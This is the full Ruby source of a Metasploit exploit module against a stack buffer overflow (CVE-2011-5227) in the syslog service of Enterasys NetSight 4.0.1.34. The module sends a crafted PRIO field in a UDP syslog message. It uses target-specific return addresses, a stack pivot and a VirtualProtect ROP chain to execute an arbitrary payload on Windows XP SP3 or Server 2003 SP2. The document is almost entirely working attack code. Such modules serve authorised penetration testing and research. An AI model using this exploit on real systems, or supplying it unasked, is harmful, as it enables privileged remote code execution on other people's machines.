Enterasys NetSight – ‘nssyslogd.exe’ Remote Buffer Overflow (Metasploit)
## # This file is part of the Metasploit Framework and may be subject to # redistribution and commercial restrictions. Please see the Metasploit # web site for more information on licensing and terms of use. # http://metasploit.com/ ## require 'msf/core' class Metasploit3 < Msf::Exploit::Remote Rank = NormalRanking include Msf::Exploit::Remote::Udp def initialize(info = {}) super(update_info(info, 'Name' => 'Enterasys NetSight nssyslogd.exe Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in Enterasys NetSight. The vulnerability exists in the Syslog service (nssylogd.exe) when parsing a specially crafted PRIO from a syslog message. The module has been tested successfully on Enterasys NetSight 4.0.1.34 over Windows XP SP3 and Windows 2003 SP2. }, 'Author' => [ 'Jeremy Brown', # Vulnerability discovery 'rgod <rgod[at]autistici.org>', # Vulnerability discovery 'juan vazquez' # Metasploit module ], 'References' => [ ['CVE', '2011-5227'], ['OSVDB', '77971'], ['BID', '51124'], ['URL', 'http://www.zerodayinitiative.com/advisories/ZDI-11-350/'], ['URL', 'https://cp-enterasys.kb.net/article.aspx?article=14206&p=1'] ], 'Payload' => { 'BadChars' => "\x00", 'Space' => 3000, 'DisableNops' => true, 'PrependEncoder' => "\x81\xc4\x54\xf2\xff\xff" # Stack adjustment # add esp, -3500 }, 'Platform' => 'win', 'Targets' => [ ['Enterasys NetSight 4.0.1.34 / Windows XP SP3', { 'Offset' => 43, 'Ret' => 0x77c4e444 # ADD ESP,30 # POP EDX # RETN # from msvcrt } ], ['Enterasys NetSight 4.0.1.34 / Windows 2003 SP2', { 'Offset' => 43, 'Ret' => 0x77bdf444 # ADD ESP,30 # POP EDX # RETN # from msvcrt } ] ], 'Privileged' => true, 'DisclosureDate' => 'Dec 19 2011', 'DefaultTarget' => 1 )) register_options([ Opt::RPORT(514) ], self.class) end def junk(n=4) return rand_text_alpha(n).unpack("V")[0].to_i end def nop return make_nops(4).unpack("V")[0].to_i end def get_stackpivot stack_pivot = '' case target.name when /Windows XP SP3/ stack_pivot << [0x77c4e448].pack("V") #ret stack_pivot << [0x77c4e448].pack("V") #ret stack_pivot << [0x77c4e448].pack("V") #ret stack_pivot << [0x77c4e448].pack("V") #ret stack_pivot << [0x77c4e444].pack("V") # ADD ESP,30 # POP EDX # RETN when /Windows 2003 SP2/ stack_pivot << [0x77bdf448].pack("V") #ret stack_pivot << [0x77bdf448].pack("V") #ret stack_pivot << [0x77bdf448].pack("V") #ret stack_pivot << [0x77bdf448].pack("V") #ret stack_pivot << [0x77bdf444].pack("V") # ADD ESP,30 # POP EDX # RETN end return stack_pivot end def get_payload my_payload = '' case target.name when /Windows XP SP3/ jmp_esp = [0x77c35459].pack("V") my_payload << jmp_esp when /Windows 2003 SP2/ rop_gadgets = [ 0x77bb2563, # POP EAX # RETN 0x77ba1114, # <- *&VirtualProtect() 0x77bbf244, # MOV EAX,DWORD PTR DS:[EAX] # POP EBP # RETN junk, 0x77bb0c86, # XCHG EAX,ESI # RETN 0x77bc9801, # POP EBP # RETN 0x77be2265, # ptr to 'push esp # ret' 0x77bb2563, # POP EAX # RETN #0x03C0990F, 0x03c09f0f, 0x77bdd441, # SUB EAX, 03c0940f (dwSize, 0xb00 -> ebx) 0x77bb48d3, # POP EBX, RET 0x77bf21e0, # .data 0x77bbf102, # XCHG EAX,EBX # ADD BYTE PTR DS:[EAX],AL # RETN 0x77bbfc02, # POP ECX # RETN 0x77bef001, # W pointer (lpOldProtect) (-> ecx) 0x77bd8c04, # POP EDI # RETN 0x77bd8c05, # ROP NOP (-> edi) 0x77bb2563, # POP EAX # RETN 0x03c0984f, 0x77bdd441, # SUB EAX, 03c0940f 0x77bb8285, # XCHG EAX,EDX # RETN 0x77bb2563, # POP EAX # RETN nop, 0x77be6591, # PUSHAD # ADD AL,0EF # RETN ].pack("V*") my_payload << rop_gadgets end my_payload << payload.encoded return my_payload end def exploit connect_udp prio = "<" prio << rand_text_alpha(19) prio << get_stackpivot prio << rand_text_alpha(4) prio << [target.ret].pack("V") prio << ">" message = prio message << rand_text_alpha(9 + (15 - Rex::Socket.source_address(datastore['RHOST']).length)) # Allow to handle the variable offset due to the source ip length message << get_payload print_status("#{rhost}:#{rport} - Trying to exploit #{target.name}...") udp_sock.put(message) disconnect_udp end end |